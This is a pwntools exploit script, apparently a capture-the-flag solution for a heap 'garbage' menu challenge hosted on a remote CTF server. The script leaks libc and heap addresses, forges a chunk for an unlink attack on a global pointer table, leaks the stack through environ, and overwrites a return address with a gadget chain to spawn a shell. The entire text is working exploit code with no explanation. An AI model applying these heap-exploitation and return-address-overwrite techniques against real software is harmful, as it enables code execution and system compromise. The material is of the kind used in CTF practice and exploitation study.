1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
|
from pwn import *
import tty
context(arch='amd64', os='linux', log_level='debug')
#s=process("./challenge")
s=remote("node4.buuoj.cn",25335)
elf=ELF("./challenge")
libc=ELF("./libc.so.6")
time_interval=0.1
def menu(ch):
sleep(time_interval)
#s.sendlineafter(b"choice: ",str(ch).encode())
s.sendline(str(ch).encode())
def add(idx,sz,content,clean_flag=False):
menu(1)
s.sendlineafter(b"idx of garbage: ",str(idx).encode())
s.sendlineafter(b"size of garbage: ",str(sz).encode())
s.sendafter(b"content of garbage: ",content)
if clean_flag:
s.clean()
def delete(idx):
menu(2)
s.sendlineafter(b"idx of garbage: ",str(idx).encode())
def show(idx):
menu(3)
s.sendlineafter(b"idx of garbage: ",str(idx).encode())
s.recvuntil(b"Content: ")
return s.recvline()[:-1]
def edit(idx,content):
menu(4)
s.sendlineafter(b"idx of garbage: ",str(idx).encode())
s.sendafter(b"content of garbage: ",content)
if __name__=="__main__":
sleep(1)
add(0,0x410,b"A")
add(1,0x418,b"A")
delete(0)
add(0,0x410,chr(tty.CEOF).encode(),clean_flag=True)
libc.address=u64(show(0).ljust(8,b"\x00"))-(0x7fb75e1d9c04-0x7fb75dfc0000)
success("libc base: "+hex(libc.address))
add(2,0x500,b"A")
add(3,0x410,b"A")
delete(2)
add(4,0x510,b"A")
add(5,0x500,b"A"*0x10)
heap_base=u64(show(5)[0x10:0x18].ljust(8,b"\x00"))&(~0xfff)
success("heap base:"+hex(heap_base))
delete(4)
delete(3)
delete(5)
delete(1)
delete(0)
#pause()
add(0,0x428,b"A")
add(8,0x428,b"A")
add(7,0x4f8,b"A")
edit(0,flat([
0,0x851,
0x404060-0x18,0x404060-0x10,
])+b"\n")
edit(8,b"\x00"*0x420+p64(0x850))
add(6,0x418,b"A")
delete(7)
#pause()
edit(0,flat([
0,0,0,
0x404060,libc.sym["environ"],
0,0,0,0,0,0,0,0,0,0,
p32(0x100)*4
])+b"\n")
pause()
stack=u64(show(1).ljust(8,b"\x00"))
target_ret=stack+(0x7fffd95651e8-0x7fffd9565348)
success(hex(target_ret))
pause()
edit(0,flat([
0x404060,target_ret,
])+b"\n")
pause()
edit(1,flat([
libc.address+0x000000000002be51,0,
libc.address+0x00000000000796a2,0,
libc.address+0xebc88
])+b"\n")
s.interactive()
|